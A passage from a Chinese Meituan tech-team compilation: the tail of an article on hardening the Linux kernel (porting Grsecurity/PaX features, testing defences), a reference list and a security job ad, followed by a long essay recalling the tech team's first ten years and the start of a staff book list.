Linux 内核主线版本中移植，这点上代码质量上得到了保障，同时社区也做了

性能测试，将其合并到公司的内核再做复测。

3. 未 被 合 并 进 Linux 内 核 主 线 版 本， 从 Grsecurity/PaX 中 做 移 植， 在

Grsecurity/PaX 的诸多安全特性中，评估选择，选取代码改动少的，收益高
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的安全特性优先移植。比如改动较少的内核代码又能有效解决某一类的漏洞，

再打个比方，Dirty Cow 的全量修复可能需要花费 1-2 年的时间，如果加了

某个安全特性，即使未修复也能防御。

内核后话

最后，分享一下笔者眼中较为理想中的状况。当然，我们得根据实际情况“因地制

宜”，在不同阶段做出不同的取舍与选择。

 ● 将内核团队看成社区，我们向他们提交代码，如同 Linux 内核社区有 RF-

C(Request for Comment)、Patch Review 等，无争议后合并进公司内核。

 ● 先挑选实用的安全特性且代码量少的，去移植，去实现，并落地。代码量少意

味着对内核代码改动少，出问题的可能性越小，稳定性越高，性能损耗越低。

 ● 一年完成几个安全特性，不需要多，1 ～ 2 个即可，对于内核态的加固，慎重

慎重再慎重，譬如国外 G 家公司数据中心的内核发版前大概需要 6 ～ 7 个月

时间做性能、稳定性测试。

 ● 需要做到加固某个安全特性后，使用 0day 或 Nday 去验证防御效果，且基于

该内核跑业务是稳定，性能损耗在可接受范围之内或者可控。每个安全特性需

要技术评审。为保障代码质量的问题，找实际的高吞吐以及高并发低延迟的服

务器小范围灰度测试，无争议后，再推送给内核团队。

 ● 最后，我们还可以通过将安全特性的代码直接提交给 Linux 内核社区，如果代

码有不足的地方也可以和社区协同解决，合并进 Linux 内核主线代码，从而侧

面推动落地。

作者简介
Pray3r，负责美团内部操作系统安全、云原生安全、重大高危漏洞应急响应，长期专注于

Linux 内核安全及开源软件安全。

参考文献
CNCF/Foundation

https://github.com/cncf/foundation/blob/master/charter.md
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保障 IDC 安全：分布式 HIDS 集群架构设计

Dirty Cow

runc

containerd

Docker/Containerd/Architecture

OSS-Security

Frichetten/CVE-2019-5736-PoC

Docker

Benchmark/Docker/

gVisor.dev

Container Isolation at Scale

Kata-Containers/Documentation

Kernel

Redhat

Namespaces in operation, part 1: namespaces overview

Control groups series by Neil Brown

Container-Security

Anatomy of a Container: Namespaces, cgroups & Some Filesystem Magic - LinuxCon

A Short Story: Bypass SMEP on Linux

美团 - 信息安全部招聘云原生安全工程师 / 专家
岗位职责：

1. 云原生（微服务、Service Mesh、容器技术、容器编排技术）安全研究及转化落地；

2. 对云原生安全有独到见解，能给业务方提供技术支持。

岗位要求：

1. 熟悉 Docker、Kubernetes 等云原生技术及其原理，熟悉相关主流的最佳安全实践；

2. 熟悉 Linux 操作系统，对操作系统、虚拟化等底层技术有一定了解；

3. 熟悉使用 C/Python/Golang 其中一门语言；

4. 熟悉业界安全攻防动态，追踪最新安全漏洞，能够分析漏洞原理和实现 POC 编写；

5. 有良好的沟通和团队协作能力，能够推动业务落地相关的安全要求和解决方案；

6. 良好的英文阅读能力。

加分项：

1. 熟悉 Linux 内核；

2. 熟悉开源社区；

3. 在渗透测试，漏洞挖掘，代码审计等安全领域至少有一个方面能力突出；

4.  发表过有深度的技术 Paper 或独立挖掘过知名开源应用 / 大型厂商高危漏洞经历。

如有意向，请发送简历：tech@meituan.com（备注：云安全）

https://mp.weixin.qq.com/s/5pVKNI6_hzhaXTOUxU9bTA
https://dirtycow.ninja/
https://github.com/opencontainers/runc
https://github.com/containerd/containerd
https://github.com/docker/containerd/blob/master/design/architecture.md
https://www.openwall.com/lists/oss-security/2019/02/11/2
https://github.com/Frichetten/CVE-2019-5736-PoC
https://github.com/docker
https://www.cisecurity.org/benchmark/docker/
https://gvisor.dev/docs/
https://schd.ws/hosted_files/kccnceu18/47/Container%20Isolation%20at%20Scale.pdf
https://github.com/kata-containers/documentation/
https://www.kernel.org/
https://www.redhat.com/
https://lwn.net/Articles/531114/
https://lwn.net/Articles/604609/
https://github.com/Pray3r/container-security
https://www.slideshare.net/jpetazzo/anatomy-of-a-container-namespaces-cgroups-some-filesystem-magic-linuxcon
https://www.ichunqiu.com/course/57939


美团技术十年：让我们感动的那些人那些事

作者：王鹏

时光荏苒，美团十岁了，美团技术团队也走过了十个春秋。

2010 年 3 月 4 日美团网上线的时候，整个公司总共十来人，在一套三居室的民房里

起步。其中技术团队只有 5 个人，现在有 4 位还在美团。

美团技术团队早期办公环境，右边电脑上有测试中还没上线的美团网页版

今天，美团是中国市值第三的互联网公司，技术团队也已经达到 9000 多人规模，覆

盖前端、后台、系统、算法、测试、运维、数据、硬件等 8 个技术领域。

2013 年美团公司年会上，王兴特别引用了清华大学老校长梅贻琦先生的一句名言：

工程师文化
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“大学者，非谓有大楼之谓也，有大师之谓也。”他是告诉在场的美团同学：选择跟什

么样的人在一起做什么样的事，很重要。

最近，美团技术学院陆续采访了 20 多位美团技术团队的同学，既有美团早期创始团

队的 3 位“元老”，也有很多美团 App、美团外卖等部门的技术骨干，听他们聊了聊

自己跟公司一起成长的故事。故事里有争吵，也有友情；有汗水，也有泪水；有委屈，

也有成长；有迷茫，也有坚定。我们从中摘录了他们印象最深刻的一些片段，与大家

一起感受，10 年来美团技术团队经历的那些坎坷与崎岖，收获的那些感动和期许。

时间开始了
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美团网上线，第一单

2010 年 3 月 4 日，美团网上线。

此后半年，团购是互联网领域最火爆的创业领域。如雨后春笋，冒出了数千家团购网

站，这就是大家经常提起的“千团大战”。

关键是跟什么人在一起，做什么样的事情

美团技术团队创始成员付栋平回忆，2010 年的时候美团的技术并不是很强，但是团

队年轻、有激情、有闯劲，响应速度非常快。大家 24 小时待命，连大年初二初三还

在改 Bug，也不觉得累。他感叹：“办公的环境什么的其实并不重要，关键是跟什么

人在一起，做什么样的事情。如果这个事情本身很有意义，很激动人心，就很值得我

们去投入青春。如果这群人很优秀，也很上进，就值得大家彼此托付，成为彼此信任

的战友。”

美团网第一次提交的代码统计：文件一共 27 个，代码量 6892 行

有安全漏洞？连续加班也要搞定

美团技术团队创始成员、美团网第一次代码提交者秦亚非，在美团内部通信工具大象

上的签名是：“我们生在这个时代，能参与一波又一波的互联网科技浪潮，是件很幸运

的事。”
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秦亚非印象很深的一次危机事件发生在 2015 年，他们听说有个黑客大会要将美团的

系统作为攻击对象，大会的赛题就是“现场攻破美团的支付系统”。公司联合创始人

穆荣均亲自带领技术团队的同学们连续加班梳理可能有隐患的环节，连夜查询 Bug

和漏洞，白盒看代码到天亮，最后找到了问题，并最终完成了修复。

最喜欢的特质：美团是一家学习型组织

美团技术团队创始成员潘魏增最喜欢的特质，就是美团是一家学习型组织。公司整个

创始团队都非常善于学习、思考和总结，并身体力行去分享、去鼓励大家这么做。记

得有一次聚会，王兴聊天时说到各地的方言，还帮忙给大家各自的方言做归类，聊到

兴致起来，还拿出一本厚厚的语言书，证明他说的都有理有据。还有一次，王兴推荐

了一本关于地缘视角看世界的书，还送了不少本给大家。潘魏增看完之后确实对世界

格局有了全新的认识，对他的帮助很大。

2010 年，王兴跟美团技术团队的某一次见面会
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梦里都在写代码

2010 年 12 月入职美团技术团队的时候，弥新锋还是一个技术小白，所有做的事情

都是从未做过的。他从 Windows 上的 DreamWeaver 转到学习 Linux（Ubutun）

上的 Vim，从只会用 jQuery 到能够读懂 YUI2 源代码，并自己独立写完整的脚本。

想到每段 CSS 和 JavaScript 的呈现界面都是数十万人在访问和使用，弥新锋都会

感到很兴奋。早期美团技术团队几乎每天都加班到很晚，但他几乎没有疲惫的状态，

非常兴奋以至于做梦都是关于代码关于公司，他还把这些梦境记录在了饭否上。

弥新锋同学在“饭否”的记录

早期美团技术团队的口号是：“要么牛逼，要么滚蛋”

张佳佳是 2010 年 12 月 18 日硕士毕业、校招入职美团的。美团虽然是个新公司、
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小公司，但是很早就非常重视从应届生中招聘优秀学生。

2014 年，技术团队校招场景

他印象比较深的一件事是，当时技术团队的口号，就是出自 Facebook 的“Go big 

or Go Home”，后来秦亚非同学翻译了一版：“要么牛逼，要么滚蛋”。大家一致认为

很形象也很贴切，就一直用了很多年。

早期美团技术团队的口号

张佳佳记忆最深刻的是，2010 年时穆荣均告诉大家，美团技术团队很快要扩充到

100 人左右。那时候，成立没多久的美团技术团队才十几个人，张佳佳心里就想，
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100 多个技术，美团这是想干多大一件事啊。张佳佳感言：“你看今天，我们技术团

队都已经 9000 多号兄弟了，真的是让我感慨万千啊。”

效率是美团的核心竞争力

夏姣姣是美团技术团队早期比较少的女同学。她在美团和百度之间，经过慎重的考

虑，最终选择了美团，2011 年 02 月 21 日加入。她的印象中，王兴每周末都会在站

在办公室的一个角落中，给他们所有人分享本周的一些思考，而且每次分享的内容都

能大家很大的启发和鼓舞。

穆荣均也经常跟美团技术团队一起讨论问题。有次他问：对美团技术团队来说，最重

要的事情是什么？大家给出了很多答案，而穆荣均的回答是“效率”，效率是美团区

别于竞对的核心竞争力。

战略布局移动

2010 年大家使用的手机基本上还是诺基亚和摩托罗拉，“移动化”这个概念刚刚开始

受到关注。年底，王兴去美国考察回来，坐在公司的小仓库一张破桌子上，跟美团技

术团队讲要搞移动化战略，然后陈亮（现美团高级副总裁）就带着两三个同学在春节

前后，花了一两个月的时间快速开发。

2011 年 3 月 4 日，美团成立一周年那天，美团开始拥有了自己的客户端。

据王慧文回顾，美团在千团大战中脱颖而出，很重要的一个因素，是抓住了移动这一

波技术大红利。2011 年的时候，美团移动端收入占美团总业务比重仅为 7%-8% 左

右，2012 年达到了 30%，2013 年已经到了 70%。2014 年超过了 95%。

此后，随着业务的发展，用户和数据量都在增长，美团开始组建专门的搜索、推荐和

数据团队，也有了更专业的产品经理，原有团队同学迅速成长的同时，也有越来越多

外部技术大牛加盟。
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技术同学敢跟老板拍桌子吵架

马圣超是陈亮招进来的美团移动端第一个工程师，2011 年 2 月 11 日入职。当时的

一些细节一直让马圣超记忆犹新，就像像刚发生在昨天一样。比如刚来的时候，美团

技术团队连设计和美术都没有，陈亮除了给马圣超审核代码之外，还搬着凳子跟一个

做运营小哥一起设计图片，美团第一版客户端的开屏图就是这么来的。早期美团的技

术、设计同学都不怕自己的 Leader，经常为了一个方案跟陈亮吵架，吵到拍桌子……

马圣超说对自己影响最深的是，完成比完美更重要这句话，出自“Done is better 

than Perfect”。一直到今天，他都把这句话当成做很多事的原则：迭代式前进。想的

再完美，不如先行动起来。

我跟公司好有缘

谢语宸感觉自己跟美团特别有缘分。他是 2011 年 3 月 4 日那天入职的应届毕业生，

刚好美团成立一周年；他跟自己老婆定情的日子也是某年的 3 月 4 日；就在他们俩领

证那天，美团刚好宣布跟大众点评合并。这个真的不是他故意为之，其实他们很早就

定好了领证的日子。

在 2011 年到 2013 年，美团在移动互联网化的进程中在技术上一直处于行业 Top 位

置。虽然从现在看来，当时技术水平肯定不高，但是整个团队技术自豪感很强。当时

谢语宸跟秦亚非一起负责数据开发工作，虽然比 BAT 在相关技术方向积累较少 , 但

是他们在一开始就在按照一个“互联网巨头”的标准进行自我要求。

老板为什么发那么大火

Android 程序员雷地球（2011 年 4 月 11 日入职）至今还记得，美团 Android 客户

端出现了一个挺大的问题，直接影响到了用户体验，移动端的技术负责人、平时很

Nice 的陈亮在办公室发了很大的脾气。大家逐渐认识到美团第一条价值观——“以

客户为中心”的分量，因为技术问题影响了用户体验，影响了公司的声誉，那可是天

大的事情。
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不要给自己设限

让早期数据开发组成员郑刚（2011 年 6 月 27 日入职）震撼的是 2014 年公司年会，

王兴给 2020 年美团公司设定的目标：平台总交易额一万亿。此前几天，他们数据组

的同学刚做过预测，最高的数字都没有超过 2000 亿。要知道，美团 2013 年的数据

才到 188 亿，1 万亿简直不敢想象。现在美团已经快要实现这个目标了。郑刚感言：

“我受兴哥影响挺大的，他经常告诉我们不要给自己设限。我也经常跟自己的同学讲，

战术上只要肯干，就没有达不成的目标。”

当时，对美团数据组最大的挑战就是，技术资源跟不上业务的开发，数据组几个同学

要应对人力、销售、市场营销等多个业务线。怎么办？他们就开始教美团的产品经理

写 SQL，让大家学会如何查询数据。当时有一本非常著名的书叫《MySQL 必知必

会》，美团那时招聘产品经理，一般都会加上一条要求：会使用 SQL。据说，这是当

时美团产品招聘的一大特色。

早期的美团更像一家科技“直销”公司

陈红兵（美团早期 Android 开发组成员，2011 年 7 月 15 日入职）之前都是在一些纯

技术的软件公司上班。加入美团后，他每天早上去工位时，总会遇到美团的销售同学

在办公室开晨会，那个场面每次都让他联想到一家“传销公司”在开大会。陈红兵坦

言，感觉那时候的美团更像一家科技“直销”公司。

复杂的事情简单化，简单的事情标准化，标准的事情流程化，

流程的事情自动化

在丁志虎（美团早期 Android 开发组成员，2011 年 8 月 29 日入职）的眼中，美团最

大的一个特点就是，创始人都几乎清一色的技术背景，无论是王兴、穆荣均、王慧文

还是陈亮，都非常重视技术，对技术的投入也很足，包括美团也是业界很早就给技术

团队配备了人体工学椅和 MacBook 的公司。

对丁志虎影响最大的一句话，来自夏华夏（现任美团首席科学家）：“我们要把复杂的
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事情简单化，简单的事情标准化，标准的事情流程化，流程的事情自动化”。

自己花钱体验产品流程，我爱上了看电影

洪光焰（早期移动端后台 Java 开发组成员，2012 年 3 月 5 日入职）负责猫眼的选座

业务的开发时，为了保证产品体验和研发质量，他就花自己的钱去买票，虽然自己其

实并不怎么喜欢看电影，但是因为自己在做产品，要对用户体验负责。如果作为开发

人员都没有体验过买票，肯定不行，很可能因为某个技术或者使用问题导致产品流程

跑不通。“后来，因为经常买电影票，我对电影真的还产生了一点点喜欢的感觉。”

值得一提的是，在早期，猫眼电影这块业务其实一直是王兴亲自在带。每次开会的时

候，洪光焰和美团技术团队的小伙伴们都会近距离感受到王兴思考的缜密性，王兴提

的问题都很犀利，如果做事不符合逻辑，他会很严厉地跟你聊这件事。

每天往床上一躺，就感觉：今天我又进步了

陈晓亮（早期 iOS 开发组成员，2012 年 11 月 12 日入职）回忆，美团移动端前期

一直都是在填坑，不断地补技术债。那个时候提测一个版本，经常能测出来上百个

Bug，而且就一个测试工程师，他拼命的开 Bug，研发同学拼命的改 Bug，大家工作

都很嗨。陈晓亮坦言：“根本没有时间去考虑什么技术战略这些东西。也是经过了两三

年的时间吧，我们才将移动端的工程化体系建立了起来。”

那时候大家的冲劲都特别足。加班？根本不存在这个概念，也没这种要求。但是，你

会看到晚上 9 点多还是有很多人自发地在办公室敲代码。陈晓亮那时经常 11 点多才

回家，反正家离公司很近也无所谓，真的感觉不到累。最长的一次，他连续加了 60

天的班。“那时就是满腔热血，每天往床上一躺，就感觉今天我又进步了，哈哈。”
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早期美团校招复盘会，照片中的多位同学都在美团担任技术高管

周末用了两个白天、一个通宵的时间搞出来的大象“雏形”

现在美团内部几万人天天不离手的通信工具大象，最早的版本出自王康（美团早期

Android 开发组成员，2012 年 2 月 22 日入职）。是王兴决定要做 IM，任务交给了

王康。当时王康正在去驾校的路上，刚到那边就马上转车回到家中。周末的时候，

王康用了两个白天一个通宵做出来了一个 Demo 版本。大象正式上线的时候，刚好

是 4 月 1 日愚人节，美团的同学收到一封邮件，说内部开始有了自己通讯工具。当

时大家都不敢相信，以为是愚人节玩笑，后来发现真的能下载，而且能用，同学们

都惊叹不已。

女产品经理眼中的美团技术：第一印象是又 Low 又土又山寨

产品经理刘向品 2012 年 3 月 5 日加入美团后第一次参加技术团队的会议，她那天穿

着一双红色的高跟鞋。当时团队人很少，美团的 Android 和 iOS 客户端加起来，也

就十来个人，一个很小的会议室全装下了。然后进去一看，一群小年轻穿着拖鞋、大
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短裤……从那以后，刘向品感觉在美团再也没有穿过那双高跟鞋了。“真的，我当时

的第一感觉就是，这个团队真的是又 Low 又土又山寨，哈哈哈！当然必须要承认，

大家当时确实很拼，都很努力，加班也很辛苦。”

刘向品对技术同学们印象比较深的，可能就是“相爱相杀”的过程。她早期提出了一

个版本规划，提了 5 个需求，结果技术团队给上线了 6 个需求。刘向品说：“你是不

是以为早期的这些技术同学很厉害？告诉你，完全不是。这帮不靠谱的家伙，他们只

上线了我提出的 2 个需求，还有 3 个需求挂着没做；同时还有 4 个‘野需求’上线，

问怎么回事，说觉得这个需求该做就做了。”

刘向品笑着说：“为什么一个产品和技术的关系能处这么好？这都是当时‘战斗过程’

中培养出来的‘革命友谊’。”

快速增长

经过几年的努力建设，不断填坑，技术团队也完成了最早的基础建设，同时也建立了

相对完善的工程技术体系。美团团购占据了绝对领先的市场份额。同时，还有谷歌、

百度、腾讯的一大波技术牛人加入美团技术团队。

选择需要魄力，更需要信仰

从 Google 回国的夏华夏（早期技术工程部技术负责人，2013 年 6 月 8 日入职）加

入美团的故事很有趣：他去美团接太太下班，发现美团的监控工具做得很好，虽然

底层也是开源系统，但功能很简洁、很直观、也很好用。后来陆续又接触到很多美

团的技术同学，发现整个技术团队虽然很小，但很务实，技术氛围很好，工作态度

非常认真。

后来王兴、穆荣均正式向抛出了“橄榄枝”，夏华夏觉得美团做的事情很有意义，选

择了降薪加盟这家小公司。之后他组建技术工程部，开始做基础组件、性能优化，包

括技术存储、负载均衡、中间件系统等等。后来，又接手了运维和 DBA 系统优化方

面的工作。除此之外，夏华夏还和早期的几位技术同事一起组建了美团技术学院，负
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责技术团队的培训、交流、宣传等工作。

随时准备着：出门团建也要背着电脑

张小虎（早期移动后台技术负责人）2013 年 5 月 2 日加入美团后主要负责移动组的

后台团队，分 4 个方向：团购移动、猫眼电影、大象、基础设施（RPC、缓存、消息

队列等）。当时移动端的交易占比不断提升，面临的主要问题是流量大，到周末的时

候，系统容易出问题。当时，他的小组有位同学，团建出门都会背上电脑以防万一，

还真的被他遇到了一次宕机情况，打开自己的手机热点，在山上开始改 Bug。张小

虎记忆比较深的是，有次带自己的孩子刚到奥森公园北门，就收到报警，一路处理故

障，后来家人也比较理解他的工作，说以后周六不出门以防公司有突发事情。

为公司招到更好的人才，特别有劲头

2014 年 3 月加入美团的王栋主要负责美团平台搜索和推荐以及数据产品技术，当时

大概带了三四十人左右的团队。

对王栋来说，印象中最深的事情就是校招。当时，为了招到很好的同学，真的很辛

苦，每天从早上八点，一直到晚上九点。然后回到酒店后，还得改笔试卷子，经常熬

到半夜 2 点多。当时，必须是靠咖啡的，当然，都是为了帮公司招到更好的人才，那

时候也特别有劲头。王栋说：“我觉得自己很幸运，带出了很多优秀的校招生同学，包

括周翔、曹浩、戚亦平等他们，现在都是在美团技术团队都发挥出了自己的价值。”

项目上线后看到日志反馈的数据，特别有成就感

戚亦平（早期美团移动推荐与个性化团队成员，2013 年 6 月 6 日入职）觉得美团的

技术面试感觉非常好。面试官问他读了哪些方面的书，学到过哪些方面的技术，这给

他留下了特别好的印象。

当时戚亦平和四五年轻的实习生一起做美团 App 的搜索和排序功能，就是首页的个

性化推荐和“猜你喜欢”。搜索排序第一次上线。从线上开发，到离线数据计算，再
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到训练流程的设计，就是戚亦平跟一个实习生两个人一起完成的。戚亦平说：“上线之

后，看到日志反馈的数据，当时特别有成就感。加班再多，都不觉得辛苦。”

最直观的感觉就是，大家眼睛里都闪着光

曹浩 2014 年 3 月 3 日加入美团时，美团 App 的推荐搜索团队才十几个人。他和

几个同事，除了做算法，还需要搞特征工程的研发，从零到一搭建起了美团的排序

体系。当时仅针对访购率这一指标（每万人中有多少人购买），效果就提升了 30%-

40%。美团当时还做了用户调研，用户反馈也很好，大家普遍反映，不仅更快更好，

而且还更准确，在美团 App 能够快速找到自己想吃的美食和店铺。

曹浩说：“2014 年的时候，我们搜索推荐团队真的是干劲十足，刚好我们又身处移动

化浪潮的新时代。那时候技术团队的口号‘每天前进 30 公里’给我们很大的力量。

最直观的感觉就是，大家眼睛里都闪着光。”

为了进美团，我赔了百度公司 5000 块钱的违约金

加入美团对周翔同学来说，还是有点波折的。他毕业时三方先签了百度，后来才接到

美团的 Offer。他特别想进美团，也看了很多关于王兴的创业故事，在周翔心目中，

美团是一家特别 Cool 的技术团队。最后，周翔赔了百度公司 5000 块钱的违约金。

“当然，现在看起来，一切都是值得的。”

2014 年 6 月，周翔跟自己电子科技大学的 3 个同学都加入美团 App 推荐组，他们

也住在一起，每天回到宿舍后，还会继续讨论工作，所以每个人的成长速度都很快。

当时，推荐组经常遇到性能问题，半夜两三点钟被警报喊醒，然后大家一起起床改

Bug。记得最深刻的是一次问题非常棘手，一位小伙伴半夜 4 点打车回到公司去解决

的。周翔说：“那时候，真的可以说是埋头钻进技术里去解决各种业务问题。虽然也经

常加班，但是真的一点怨言都没有，乐在‘技’中。”
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持续学习的文化以及对人才培养的重视

对魏永超（早期美团搜索团队成员，2014 年 1 月 6 日入职）影响比较大的，是美团

持续学习的文化以及对人才培养的重视，特别是 Leader 层对下属成长的关注。美团

讲拥抱变化，魏永超汇报关系发生过多次变动。魏永超跟王栋（现美团外卖技术负责

人）学到了很多技术层面的东西，能够从技术与业务结合的角度思考问题。他跟刘彭

程（现美团到店技术负责人）学到了如何从团队人才培养的角度推动团队成员的学习

和成长，同时美团也提供了很多挑战会引发他的思考。魏永超跟张锦懋（现美团基础

研发平台的技术负责人）学会了从事情的角度出发，一针见血地指出问题所在，尽量

站在一个旁观者给团队成员提供帮助，现在也帮助了很多技术同学在高速成长。

外卖狂飙突进

早在 2012 年年底团购大战格局初定时，王兴就觉得餐饮行业还有互联网化的其他机

会，就让王慧文开始组建新产品部，带一个很小的团队去探索新业务。王兴可能也没

想到，最后王慧文团队探索出来的外卖，会成为美团今天最大的业务，直到现在，还

在不断打破世界纪录。与此同时，从外卖业务逐渐建立起来的配送平台能力，又为

AI、机器人等高科技提供了用武之地。

2013 年 11 月 18 日，美团外卖送出去第一单。

2019 年 7 月 27 日，美团外卖日订单量突破 3000 万单。
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今天，美团配送已经成为全球领先的分钟级配送网络，服务全国 360 多万商家和 4

亿多用户，覆盖 2800 余座市县，日活跃配送骑手超过 70 万人。

只要你技术好，我就服你，跟你干

2015 年，洪磊（美团前端通道主席，2013 年 6 月 24 日入职）接到任务，从美团平

台转去负责外卖前端团队。最初他还有点犹豫，和外卖前端同学做了简单沟通后，就

欣然接受了这份挑战。他得到团队同学很给力的支持，加上自己精通前端技术，很快

跟小伙伴打成一片。洪磊觉得美团的工程师文化还是很好的，“只要你技术好，我就

是服你的，可以跟你干”。

无数个不眠不休的夜晚，叠加在一起，一点一滴提升了用户

体验

王栋到外卖之后，最难忘的是 2015、2016 年，那时订单量增长迅猛，系统压力巨

大。一到中午，系统就经常报警，这时候大家就会非常默契地集中在美团外卖的“作

战会议室”中，一起携手解决线上问题。

2015 年的 10 月，外卖团队的推荐算法负责同学自己动手，每天在晚上八九点，忙

完一天的工作之后，一点一点的梳理用户端的埋点数据。历时一个多月，终于理清楚

了线上埋点的问题，为后续算法的应用奠定了坚实、可靠的基础。

2016 年，为在不影响业务的同时实现绩效系统迁移，外卖技术部运营组和数据组同

学放弃了中秋和国庆假期，连续奋战 20 余天，支持了绩效管理目标的达成。

正是由这样的无数个不眠不休的夜晚，叠加在一起，才一点一滴的提升了用户、商

家、骑手和一线拓展人员的使用体验。

几百个 CaseStudy 文档是我们宝贵的财富

到家交易系统平台部负责人方建平（2014 年 8 月 5 日入职）说，因为这些年来外卖



工程师文化　<　1107

交易系统出的事故比较多，所以该组同学写的 CaseStudy（事故分析报告）也很多，

外卖团队非常看重这项工作。基本上每次事故，无论大小，大家都会坚持尽快完成

CaseStudy 的撰写，并组织复盘，分析问题，总结经验。几年的积累，美团外卖沉

淀了几百个 CaseStudy 文档，这也是美团技术团队最为宝贵的财富，一直到今天，

交易系统团队也会常常组织回顾，包括新人入职也会组织对应的培训。

从外卖架构到无人配送

2015 年 5 月，美团外卖业务当时已经初具规模，但系统很不稳定，每周要宕机好几

次，而且好几次宕机都是发生在用餐高峰时期。夏华夏临危受命，到外卖组建架构团

队。他跟很多技术骨干天天泡在一个称之为“作战会议室”里，周末也不休息，不断

迭代升级、测试、监控整个系统。经过两个多月，终于将系统稳定性从 98% 提高到

了 20 倍，接近 99.9% 左右，基本支撑了 2015 年暑期的订单量大涨；到 2016 年，

随着我们的架构优化、运维自动化、测试自动化等工作的开展，外卖的稳定性已经提

升到接近四个 9。

2017 年，夏华夏陆续把手头的地图、到餐技术、外卖架构等工作交接了出去，将全

面精力放在内部孵化出来的美团无人配送项目上。功夫不负有心人，美团无人车在疫

情期间落地，开始在北京送菜了。
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还有很多技术团队的故事，没有来得及写进来，敬请期待。

忆往昔峥嵘岁月稠，我们参与创造了历史，也收获了成长与感悟。这期间慢慢积累的

一些东西，渐渐渗入我们的血液，成为我们的基因。

感谢那些虽然已经离开，但曾为美团技术做出过贡献的小伙伴们，常回家看看。

感谢十年来无数技术同行对我们的支持（开源代码、技术图书和文章……）。

新的十年，继续既往不恋，纵情向前！
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那些珍贵的老照片

春天的花开，秋天的风，以及冬天的落阳。十年的时间，我们有过太多的回忆。我们

还向美团同学征集了一些充满回忆的老照片。有同学告诉我，他私藏的很多照片都是

第一次亮相。在美团技术团队工作过的同学，是否还能认出曾经的那个年轻的自己！
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推荐收藏	|	美团技术团队的书单

作者：王鹏

4 月 23 日对于世界文学而言是一个具有象征性意义的日子。1616 年的这一天，塞

万提斯、莎士比亚、印卡·加西拉索·德拉维加几位大师相继与世长辞。此外，这

一天也是其他一些著名作家的出生和去世的日期，例如：莫里斯·德吕翁、哈尔多

尔·K·拉克斯内斯、弗拉基米尔·纳博科夫、约瑟·普拉和曼努埃尔·梅希亚·巴

列霍。

1995 年在巴黎举行的联合国教科文组织大会决定，在 4 月 23 日这一天向全世界的

图书和作者致敬，鼓励每个人发掘阅读的乐趣，因此设立了“世界图书与版权日”，

又称“世界读书日”。

2020 年，新冠肺炎疫情突然而至，无论是国家，还是公司，亦或是我们个人，都面

临着来自内外部的新挑战。在这个时候，我们更需要通过读书来保证理性、冷静、客

观，希望每位同学都能从读书中汲取营养，会读书，读好书。

在世界读书日这个特别的日子里，我们从美团技术团队内部的书单中精选了 23 本书

籍推荐给大家。之前我们推送过一份技术人必读的《新春书单》，而今天的这份书单

则涵盖了通用能力（6 本）、经济管理（6 本）、哲学历史（8 本）、人物传记（3 本）等

非技术领域，也颇具价值。希望每一位同学都能坚持读书，并学以致用。

https://mp.weixin.qq.com/s/cOK7ETevEl2ODO_eqFdMzA
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通用能力类：6 本

推荐理由：

达利欧是著名对冲基金桥水的创始人，他的《原则》讲述了许多生活和工作的原则，

我也不知道自己真正理解了多少，但拿出其中一项原则都足以引发很多的思考。

例如在公司的管理中，有这么一段话，“它不是一个专制机构，由我领导，其他人跟

从；也不是一个民主机构，每个人都有平等的投票权；而是一个创意择优的机构，鼓

励经过深思熟虑的意见不一致，根据不同人的相对长处分析和权衡他们的观点”。这

点对团队管理来说很有益处。我们的目标是发挥大家的长处，达到最终的创意择优。

我们需要从他人取得的成就、使用的方法中学习，来主动思考自身怎么做、应该如何

思考，只有这样才能不断走向成功。

推荐理由：

这是一本非常适合职场人阅读的书籍。它已经在角落里“蜗居”了两年之久，挤在一

堆落满灰尘的杂籍中。因缘际会，疫情期间整理房间时看到了它的身影，拍拍扉页，

开启了系统化思考之旅。
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世界是凌乱的，也是系统化的，这取决于我们如何读取它、理解它。事物在空间上彼

此关联，在时间上因循变化，表象规律与内在逻辑有着复杂的映射关系，“以管窥豹”

与“本位主义”又常常左右的我们的思考，它们都是影响对事物做出正确认知、做出

正确决策的“紧箍咒”。如何破咒？该书以浅显易懂的生动案例开篇，循循善诱，为

大家带来了一套系统化思考的思维工具。如何建立整体、动态、连续思考问题的思维

模式，如何在复杂系统中以简驭繁。希望能给更多的同学带来一些思考和收获。

推荐理由：

这本书介绍了“教练”这个角色的意义和职责，其中给我认知冲击最大的是“表现 =

能力 - 干扰”。干扰影响了知识、信念、热情、专注，从而压制了表现。很多时候我

们往往不是做得太少，而是做得太多，过犹不及。了解了这个全新的表现公式后，我

意识到自己和团队的表现提升，重点应该在排除干扰上。干扰的来源很多，个人和团

队的“上下左右”都会受到影响。作为领导者，要能够尽可能地帮助团队排除干扰。

而对个人而言，也需要提高抗干扰能力。比如书中讲的打高尔夫球的例子，选手在练

习的时候和比赛的时候，对同一个球的处理的表现是不同的，能够参加比赛说明选手

的基本功没有问题，恰好是临场发挥的时候被过度在意动作的标准性，过度在意得失

反而影响了最终的表现。排除干扰的核心抓手在于“专注”。专注来自“由内而外”

的 GROW（目标、现状、方案、行动）式的对话，而这恰恰是作为领导者承担“教

练”这个角色，应该采取的有效手段。
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推荐理由：

技术人员如何锻炼演讲能力，如何让技术分享更加生动有趣，历来是一个很大的挑

战。大家一般都认为乔布斯的演讲非常有魅力，觉得乔布斯会是一个很善于演讲和沟

通的人。但是，当你读过这本书，你会发现一个完全不一样的乔布斯。原来乔布斯

其实“很不擅长演讲”，或者说，乔布斯只擅长那些充分准备后的演讲。这本书会教

会大家像设计戏剧一样来设计自己的演讲内容，让演讲者知道如何策划故事，创造体

验，了解观众想听什么，如何装扮数字，以及最重要的“如何反复练习”。

如果大家能够掌握这本书的精髓，即使是一个不擅长演讲的人，也可能会完成一场精

心准备的优秀演讲。当然，如果讲到临场发挥，那就是另一个故事了。此外，如果结

合同一作者的《像 TED 一样演讲》一起看，相信会有更大的收获。

推荐理由：

我们不仅要找到热爱的工作，而且要建立热爱的生活。职业生涯就像是一场至少长

达 45 年的马拉松，这本书介绍了远见思维和三大职业生涯阶段，并介绍了如何应对

职场和生活的冲突。我辈应该多行动、少忧虑，并且提前做好中长期的职业思考和职

业规划。如果用“远见”的思维看待眼前的影响和困难，就根本不值得一提。用“远
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见”的思维，长期有耐心，每天前进 30 公里。

这本书讲如何求真（实事求是），避免非黑即白、情绪化、极端地看待这个世界。

书中印象比较深的地方：

 ● 要特别警惕媒体和社会活动家，他们的职业属性注定了需要依靠极端和负面的

案例，吸引更多关注度。

 ● 不要迷信越界的专家，他们在自己的领域之外就没有更大的可信度，而他们由

于自信，经常胡说八道。按书里的原话：“拥有高智商，数学很好，受过高等教
